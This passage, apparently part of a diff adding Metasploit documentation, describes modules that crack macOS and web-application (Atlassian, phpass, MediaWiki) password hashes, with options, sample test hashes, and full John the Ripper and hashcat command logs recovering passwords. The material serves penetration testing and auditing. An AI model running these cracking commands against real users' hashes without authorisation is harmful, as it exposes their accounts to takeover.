+ 1403   PBKDF2-HMAC-SHA512  pbkdf2_hashcat    hashcat           Single
+
+[*] Auxiliary module execution completed
+resource (hashes_hashcat.rb)> creds
+Credentials
+===========
+
+host  origin  service  public            private                                                                                                                                                                                                      realm  private_type        JtR Format
+----  ------  -------  ------            -------                                                                                                                                                                                                      -----  ------------        ----------
+                       xsha_buddahh      7E4F6138BE21EF6A61365A4D3270DAD24A6544EE188ED422                                                                                                                                                                    Nonreplayable hash  xsha
+                       xsha_mama         3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA                                                                                                                                                                    Nonreplayable hash  xsha
+                       xsha_hashcat      1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683                                                                                                                                                                    Nonreplayable hash  xsha
+                       xsha512_password  229499e73f6ff50fbd76fa1a0b11fe10964b51b57ee0bc7ca29a5fdccaf264e132eb682abeb40a3513a1fe26397ddcd1b5d0161e5e3ff308377994f4bed4172efcc25f8a                                                                            Nonreplayable hash  xsha512
+                       xsha512_hashcat   648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d                                                                            Nonreplayable hash  xsha512
+                       pbkdf2_hashcat    $ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f96cbcb20a1ffb400718c20382030f637892f776627d34e021bad4f81b7de8222         Nonreplayable hash  PBKDF2-HMAC-SHA512
+                       xsha_mama         mama                                                                                                                                                                                                                Password            
+                       xsha_buddahh      buddahh                                                                                                                                                                                                             Password            
+                       xsha512_password  password                                                                                                                                                                                                            Password            
+                       xsha512_hashcat   hashcat                                                                                                                                                                                                             Password            
+                       pbkdf2_hashcat    hashcat                                                                                                                                                                                                             Password            
+
+[*] Starting persistent handler(s)...
+```
+
+### Hashcat
+
+We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
+
+```
+resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
+CUSTOM_WORDLIST => /tmp/wordlist
+resource (hashes_hashcat.rb)> setg ShowCommand true
+ShowCommand => true
+resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
+USE_DEFAULT_WORDLIST => false
+resource (hashes_hashcat.rb)> setg DeleteTempFiles false
+DeleteTempFiles => false
+resource (hashes_hashcat.rb)> setg USE_CREDS false
+USE_CREDS => false
+resource (hashes_hashcat.rb)> setg USE_DB_INFO false
+USE_DB_INFO => false
+resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
+USE_HOSTNAMES => false
+resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
+USE_ROOT_WORDS => false
+resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
+ITERATION_TIMEOUT => 60
+resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_osx
+resource (hashes_hashcat.rb)> set action hashcat
+action => hashcat
+resource (hashes_hashcat.rb)> run
+[+] hashcat Version Detected: v5.1.0
+[*] Hashes Written out to /tmp/hashes_tmp20190531-31439-ulynqs
+[*] Wordlist file written out to /tmp/jtrtmp20190531-31439-1bcms0z
+[*] Checking xsha hashes already cracked...
+[*] Cracking xsha hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=YpmTr019 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=122 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking xsha hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=YpmTr019 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=122 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs /tmp/jtrtmp20190531-31439-1bcms0z
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username      Cracked Password  Method
+ -----  ---------  --------      ----------------  ------
+ 1421   xsha       xsha_buddahh  buddahh           Wordlist
+ 1422   xsha       xsha_mama     mama              Already Cracked/POT
+ 1423   xsha       xsha_hashcat  hashcat           Wordlist
+
+[*] Checking xsha512 hashes already cracked...
+[*] Cracking xsha512 hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=HNDjhJcJ --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1722 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking xsha512 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=HNDjhJcJ --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1722 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs /tmp/jtrtmp20190531-31439-1bcms0z
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username          Cracked Password  Method
+ -----  ---------  --------          ----------------  ------
+ 1421   xsha       xsha_buddahh      buddahh           Wordlist
+ 1422   xsha       xsha_mama         mama              Already Cracked/POT
+ 1423   xsha       xsha_hashcat      hashcat           Wordlist
+ 1424   xsha512    xsha512_password  password          Wordlist
+ 1425   xsha512    xsha512_hashcat   hashcat           Wordlist
+
+[*] Checking PBKDF2-HMAC-SHA512 hashes already cracked...
+[*] Cracking PBKDF2-HMAC-SHA512 hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=Tnilqjei --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7100 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking PBKDF2-HMAC-SHA512 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=Tnilqjei --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7100 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs /tmp/jtrtmp20190531-31439-1bcms0z
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type           Username          Cracked Password  Method
+ -----  ---------           --------          ----------------  ------
+ 1421   xsha                xsha_buddahh      buddahh           Wordlist
+ 1422   xsha                xsha_mama         mama              Already Cracked/POT
+ 1423   xsha                xsha_hashcat      hashcat           Wordlist
+ 1424   xsha512             xsha512_password  password          Wordlist
+ 1425   xsha512             xsha512_hashcat   hashcat           Wordlist
+ 1426   PBKDF2-HMAC-SHA512  pbkdf2_hashcat    hashcat           Wordlist
+
+[*] Auxiliary module execution completed
+resource (hashes_hashcat.rb)> creds
+Credentials
+===========
+
+host  origin  service  public            private                                                                                                                                                                                                      realm  private_type        JtR Format
+----  ------  -------  ------            -------                                                                                                                                                                                                      -----  ------------        ----------
+                       xsha_buddahh      7E4F6138BE21EF6A61365A4D3270DAD24A6544EE188ED422                                                                                                                                                                    Nonreplayable hash  xsha
+                       xsha_mama         3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA                                                                                                                                                                    Nonreplayable hash  xsha
+                       xsha_hashcat      1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683                                                                                                                                                                    Nonreplayable hash  xsha
+                       xsha512_password  229499e73f6ff50fbd76fa1a0b11fe10964b51b57ee0bc7ca29a5fdccaf264e132eb682abeb40a3513a1fe26397ddcd1b5d0161e5e3ff308377994f4bed4172efcc25f8a                                                                            Nonreplayable hash  xsha512
+                       xsha512_hashcat   648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d                                                                            Nonreplayable hash  xsha512
+                       pbkdf2_hashcat    $ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f96cbcb20a1ffb400718c20382030f637892f776627d34e021bad4f81b7de8222         Nonreplayable hash  PBKDF2-HMAC-SHA512
+                       xsha_mama         mama                                                                                                                                                                                                                Password            
+                       xsha_hashcat      hashcat                                                                                                                                                                                                             Password            
+                       xsha_buddahh      buddahh                                                                                                                                                                                                             Password            
+                       xsha512_hashcat   hashcat                                                                                                                                                                                                             Password            
+                       xsha512_password  password                                                                                                                                                                                                            Password            
+                       pbkdf2_hashcat    hashcat                                                                                                                                                                                                             Password
+```
@@ -0,0 +1,417 @@
+## Vulnerable Application
+
+  This module attempts to use a password cracker to decode Webapps
+  based password hashes, such as:
+
+  * `atlassian` based passwords
+  * `phpass` based passwords (wordpress, joomla, phpBB3)
+  * `mediawiki` based passwords
+
+| Common    | John             | Hashcat |
+|-----------|------------------|-------- |
+| atlassian | PBKDF2-HMAC-SHA1 | 12001   |
+| mediawiki | mediawiki        | 3711    |
+| phpass    | phpass           | 400     |
+
+  Sources of hashes can be found here:
+  [source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
+
+## Verification Steps
+
+  1. Have at least one user with an `atlassian`, `mediawiki`, or `phpass` password hash in the database
+  2. Start msfconsole
+  3. Do: ```use auxiliary/analyze/crack_webapps```
+  4. Do: set cracker of choice
+  5. Do: ```run```
+  6. You should hopefully crack a password.
+
+## Actions
+
+   **john**
+
+   Use john the ripper (default).
+
+   **hashcat**
+
+   Use hashcat.
+
+## Options
+
+   **ATLASSIAN**
+
+   Crack atlassian hashes. Default is `true`.
+
+   **CONFIG**
+
+   The path to a John config file (JtR option: `--config`).  Default is `metasploit-framework/data/john.conf`
+
+
+   **CRACKER_PATH**
+
+   The absolute path to the cracker executable.  Default behavior is to search `path`.
+
+   **CUSTOM_WORDLIST**
+
+   The path to an optional custom wordlist.  This file is added to the new wordlist which may include the other
+   `USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
+
+   **DeleteTempFiles**
+
+   This option will prevent deletion of the wordlist and file containing hashes.  This may be useful for
+   running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
+
+   **Fork**
+
+   This option will set how many forks to use on john the ripper.  Default is `1` (no forking).
+
+   **INCREMENTAL**
+
+   Run the cracker in incremental mode.  Default is `true`
+
+   **ITERATION_TIMEOUT**
+
+   The max-run-time for each iteration of cracking.
+
+   **KORELOGIC**
+
+   Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
+   Default is `false`.
+
+   **MEDIAWIKI**
+
+   Crack mediawiki hashes. Default is `true`.
+
+   **MUTATE**
+
+   Apply common mutations to the Wordlist (SLOW).  Mutations are:
+
+   * `'@' => 'a'`
+   * `'0' => 'o'`
+   * `'3' => 'e'`
+   * `'$' => 's'`
+   * `'7' => 't'`
+   * `'1' => 'l'`
+   * `'5' => 's'`
+
+   Default is `false`.
+
+   **PHPASS**
+
+   Crack PHPASS hashes. Default is `true`.
+
+   **POT**
+
+   The path to a John POT file (JtR option: `--pot`) to use instead.  The `pot` file is the data file which
+   records cracked password hashes.  Kali linux's default location is `/root/.john/john.pot`.
+   Default is `~/.msf4/john.pot`.
+
+   **SHOWCOMMAND**
+
+   Show the command being used run from the command line for debugging.  Default is `false`
+
+   **USE_CREDS**
+
+   Use existing credential data saved in the database.  Default is `true`.
+
+   **USE_DB_INFO**
+
+   Use looted database schema info to seed the wordlist.  This includes the Database Name, each Table Name,
+   and each Column Name.  If the DB is MSSQL, the Instance Name is also used.  Default is `true`.
+
+   **USE_DEFAULT_WORDLIST**
+
+   Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`.  Default is
+   `true`.
+
+   **USE_HOSTNAMES**
+
+   Seed the wordlist with hostnames from the workspace.  Default is `true`.
+
+   **USE_ROOT_WORDS**
+
+   Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`.  Default
+   is true.
+
+   **WORDLIST**
+
+   Run the cracker in dictionary/wordlist mode.  Default is `true`
+
+## Scenarios
+
+### Sample Data
+
+The following is data which can be used to test integration, including adding entries
+to a wordlist and pot file to test various aspects of the cracker.
+
+```
+echo "" > /root/.msf4/john.pot
+echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
+echo "\$1\$O3JMY.Tw\$AdLnLjQ/5jXF9.fakegHv/:password" >> /root/.msf4/john.pot
+echo "test" > /tmp/wordlist
+echo "password" >> /tmp/wordlist
+echo "toto" >> /tmp/wordlist
+echo "hashcat" >> /tmp/wordlist
+creds add user:mediawiki_qwerty hash:$B$113$de2874e33da25313d808d2a8cbf31485 jtr:mediawiki
+creds add user:mediawiki_hashcat hash:$B$56668501$0ce106caa70af57fd525aeaf80ef2898 jtr:mediawiki
+creds add user:phpass_p_hashcat hash:$P$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
+creds add user:phpass_h_hashcat hash:$H$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
+creds add user:atlassian_hashcat hash:{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa jtr:PBKDF2-HMAC-SHA1
+creds add user:atlassian_secret hash:{PKCS5S2}/eWKocWoBMiEN6aA2SQMm56/qLdCVW0fmGF4zF3CzeyaoZUpW1tE3R/fxnYjGbza jtr:PBKDF2-HMAC-SHA1
+creds add user:atlassian_admin hash:{PKCS5S2}8WEZjkCbLWysbcbZ5PRgMbdJgJOhkzRT3y1jxOqke2z1Zr79q8ypugFQEYaMoIZt jtr:PBKDF2-HMAC-SHA1
+```
+
+### John the Ripper
+
+We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
+
+```
+resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
+CUSTOM_WORDLIST => /tmp/wordlist
+resource (hashes_hashcat.rb)> setg ShowCommand true
+ShowCommand => true
+resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
+USE_DEFAULT_WORDLIST => false
+resource (hashes_hashcat.rb)> setg DeleteTempFiles false
+DeleteTempFiles => false
+resource (hashes_hashcat.rb)> setg USE_CREDS false
+USE_CREDS => false
+resource (hashes_hashcat.rb)> setg USE_DB_INFO false
+USE_DB_INFO => false
+resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
+USE_HOSTNAMES => false
+resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
+USE_ROOT_WORDS => false
+resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
+ITERATION_TIMEOUT => 60
+resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_webapps
+resource (hashes_hashcat.rb)> run
+[+] john Version Detected: 1.9.0-jumbo-1 OMP
+[*] Hashes Written out to /tmp/hashes_tmp20190531-3775-yc870y
+[*] Wordlist file written out to /tmp/jtrtmp20190531-3775-5tikjk
+[*] Checking PBKDF2-HMAC-SHA1 hashes already cracked...
+[*] Cracking PBKDF2-HMAC-SHA1 hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:03 DONE (2019-05-31 18:59) 0.2564g/s 4375p/s 8883c/s 8883C/s password11908..t1900
+Use the "--show --format=PBKDF2-HMAC-SHA1" options to display all of the cracked passwords reliably
+Session completed
+[*] Cracking PBKDF2-HMAC-SHA1 hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Proceeding with single, rules:Single
+Press 'q' or Ctrl-C to abort, almost any other key for status
+2g 0:00:00:00 DONE 1/3 (2019-05-31 18:59) 50.00g/s 3175p/s 3200c/s 3200C/s atlassian_admin..Atlassianatlassian
+Use the "--show --format=PBKDF2-HMAC-SHA1" options to display all of the cracked passwords reliably
+Session completed
+[*] Cracking PBKDF2-HMAC-SHA1 hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
+Using default input encoding: UTF-8
+[*] Cracking PBKDF2-HMAC-SHA1 hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type         Username           Cracked Password  Method
+ -----  ---------         --------           ----------------  ------
+ 1535   PBKDF2-HMAC-SHA1  atlassian_hashcat  hashcat           Single
+ 1536   PBKDF2-HMAC-SHA1  atlassian_secret   secret            Normal
+ 1537   PBKDF2-HMAC-SHA1  atlassian_admin    admin             Normal
+
+[*] Checking phpass hashes already cracked...
+[*] Cracking phpass hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+2g 0:00:00:00 DONE (2019-05-31 18:59) 100.0g/s 38400p/s 38400c/s 76800C/s test3:::..tere9
+Use the "--show --format=phpass" options to display all of the cracked passwords reliably
+Session completed
+[*] Cracking phpass hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Proceeding with single, rules:Single
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE 1/3 (2019-05-31 18:59) 100.0g/s 19200p/s 19200c/s 19200C/s phpass_p_hashcat..tachsah_p_ssaphptachsaH
+Use the "--show --format=phpass" options to display all of the cracked passwords reliably
+Session completed
+[*] Cracking phpass hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
+Using default input encoding: UTF-8
+[*] Cracking phpass hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type         Username           Cracked Password  Method
+ -----  ---------         --------           ----------------  ------
+ 1533   phpass            phpass_p_hashcat   hashcat           Normal
+ 1534   phpass            phpass_h_hashcat   hashcat           Single
+ 1535   PBKDF2-HMAC-SHA1  atlassian_hashcat  hashcat           Single
+ 1536   PBKDF2-HMAC-SHA1  atlassian_secret   secret            Normal
+ 1537   PBKDF2-HMAC-SHA1  atlassian_admin    admin             Normal
+
+[*] Checking mediawiki hashes already cracked...
+[*] Cracking mediawiki hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
+Using default input encoding: UTF-8
+Warning: no OpenMP support for this hash type, consider --fork=8
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 18:59) 50.00g/s 853300p/s 1021Kc/s 1021KC/s thales1913..t1900
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking mediawiki hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
+Using default input encoding: UTF-8
+Warning: no OpenMP support for this hash type, consider --fork=8
+Proceeding with single, rules:Single
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE 1/3 (2019-05-31 18:59) 100.0g/s 4800p/s 4800c/s 4800C/s mediawiki_qwerty..mediawikimediawiki_qwertymediawikimediawiki_qwerty
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking mediawiki hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
+Using default input encoding: UTF-8
+[*] Cracking mediawiki hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type         Username           Cracked Password  Method
+ -----  ---------         --------           ----------------  ------
+ 1531   mediawiki         mediawiki_qwerty   qwerty            Normal
+ 1532   mediawiki         mediawiki_hashcat  hashcat           Single
+ 1533   phpass            phpass_p_hashcat   hashcat           Normal
+ 1534   phpass            phpass_h_hashcat   hashcat           Single
+ 1535   PBKDF2-HMAC-SHA1  atlassian_hashcat  hashcat           Single
+ 1536   PBKDF2-HMAC-SHA1  atlassian_secret   secret            Normal
+ 1537   PBKDF2-HMAC-SHA1  atlassian_admin    admin             Normal
+
+[*] Auxiliary module execution completed
+resource (hashes_hashcat.rb)> creds
+Credentials
+===========
+
+host  origin  service  public             private                                                                    realm  private_type        JtR Format
+----  ------  -------  ------             -------                                                                    -----  ------------        ----------
+                       mediawiki_hashcat  hashcat                                                                           Password            
+                       phpass_p_hashcat   hashcat                                                                           Password            
+                       phpass_h_hashcat   hashcat                                                                           Password            
+                       atlassian_hashcat  hashcat                                                                           Password            
+                       mediawiki_qwerty   $B$113$de2874e33da25313d808d2a8cbf31485                                           Nonreplayable hash  mediawiki
+                       mediawiki_hashcat  $B$56668501$0ce106caa70af57fd525aeaf80ef2898                                      Nonreplayable hash  mediawiki
+                       phpass_p_hashcat   $P$984478476IagS59wHZvyQMArzfx58u.                                                Nonreplayable hash  phpass
+                       phpass_h_hashcat   $H$984478476IagS59wHZvyQMArzfx58u.                                                Nonreplayable hash  phpass
+                       atlassian_hashcat  {PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa         Nonreplayable hash  PBKDF2-HMAC-SHA1
+                       atlassian_secret   {PKCS5S2}/eWKocWoBMiEN6aA2SQMm56/qLdCVW0fmGF4zF3CzeyaoZUpW1tE3R/fxnYjGbza         Nonreplayable hash  PBKDF2-HMAC-SHA1
+                       atlassian_admin    {PKCS5S2}8WEZjkCbLWysbcbZ5PRgMbdJgJOhkzRT3y1jxOqke2z1Zr79q8ypugFQEYaMoIZt         Nonreplayable hash  PBKDF2-HMAC-SHA1
+                       atlassian_secret   secret                                                                            Password            
+                       atlassian_admin    admin                                                                             Password            
+                       mediawiki_qwerty   qwerty                                                                            Password
+```
+
+### Hashcat
+
+We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
+
+```
+resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
+CUSTOM_WORDLIST => /tmp/wordlist
+resource (hashes_hashcat.rb)> setg ShowCommand true
+ShowCommand => true
+resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
+USE_DEFAULT_WORDLIST => false
+resource (hashes_hashcat.rb)> setg DeleteTempFiles false
+DeleteTempFiles => false
+resource (hashes_hashcat.rb)> setg USE_CREDS false
+USE_CREDS => false
+resource (hashes_hashcat.rb)> setg USE_DB_INFO false
+USE_DB_INFO => false
+resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
+USE_HOSTNAMES => false
+resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
+USE_ROOT_WORDS => false
+resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
+ITERATION_TIMEOUT => 60
+resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_webapps
+resource (hashes_hashcat.rb)> set action hashcat
+action => hashcat
+resource (hashes_hashcat.rb)> run
+[+] hashcat Version Detected: v5.1.0
+[*] Hashes Written out to /tmp/hashes_tmp20190531-3903-kn244m
+[*] Wordlist file written out to /tmp/jtrtmp20190531-3903-r8ligw
+[*] Checking PBKDF2-HMAC-SHA1 hashes already cracked...
+[*] Cracking PBKDF2-HMAC-SHA1 hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=hWnnDYym --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12001 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking PBKDF2-HMAC-SHA1 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=hWnnDYym --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12001 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m /tmp/jtrtmp20190531-3903-r8ligw
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type         Username           Cracked Password  Method
+ -----  ---------         --------           ----------------  ------
+ 1549   PBKDF2-HMAC-SHA1  atlassian_hashcat  hashcat           Wordlist
+
+[*] Checking phpass hashes already cracked...
+[*] Cracking phpass hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=dZ7kuaal --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=400 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking phpass hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=dZ7kuaal --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=400 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m /tmp/jtrtmp20190531-3903-r8ligw
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type         Username           Cracked Password  Method
+ -----  ---------         --------           ----------------  ------
+ 1547   phpass            phpass_p_hashcat   hashcat           Wordlist
+ 1549   PBKDF2-HMAC-SHA1  atlassian_hashcat  hashcat           Wordlist
+
+[*] Checking mediawiki hashes already cracked...
+[*] Cracking mediawiki hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=nasHCHQx --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3711 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking mediawiki hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=nasHCHQx --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3711 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m /tmp/jtrtmp20190531-3903-r8ligw
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type         Username           Cracked Password  Method
+ -----  ---------         --------           ----------------  ------
+ 1546   mediawiki         mediawiki_hashcat  hashcat           Wordlist
+ 1547   phpass            phpass_p_hashcat   hashcat           Wordlist
+ 1549   PBKDF2-HMAC-SHA1  atlassian_hashcat  hashcat           Wordlist
+
+[*] Auxiliary module execution completed
+resource (hashes_hashcat.rb)> creds
+Credentials
+===========
+
+host  origin  service  public             private                                                                    realm  private_type        JtR Format
+----  ------  -------  ------             -------                                                                    -----  ------------        ----------
+                       phpass_h_hashcat   $H$984478476IagS59wHZvyQMArzfx58u.                                                Nonreplayable hash  phpass
+                       mediawiki_qwerty   $B$113$de2874e33da25313d808d2a8cbf31485                                           Nonreplayable hash  mediawiki
+                       mediawiki_hashcat  $B$56668501$0ce106caa70af57fd525aeaf80ef2898                                      Nonreplayable hash  mediawiki
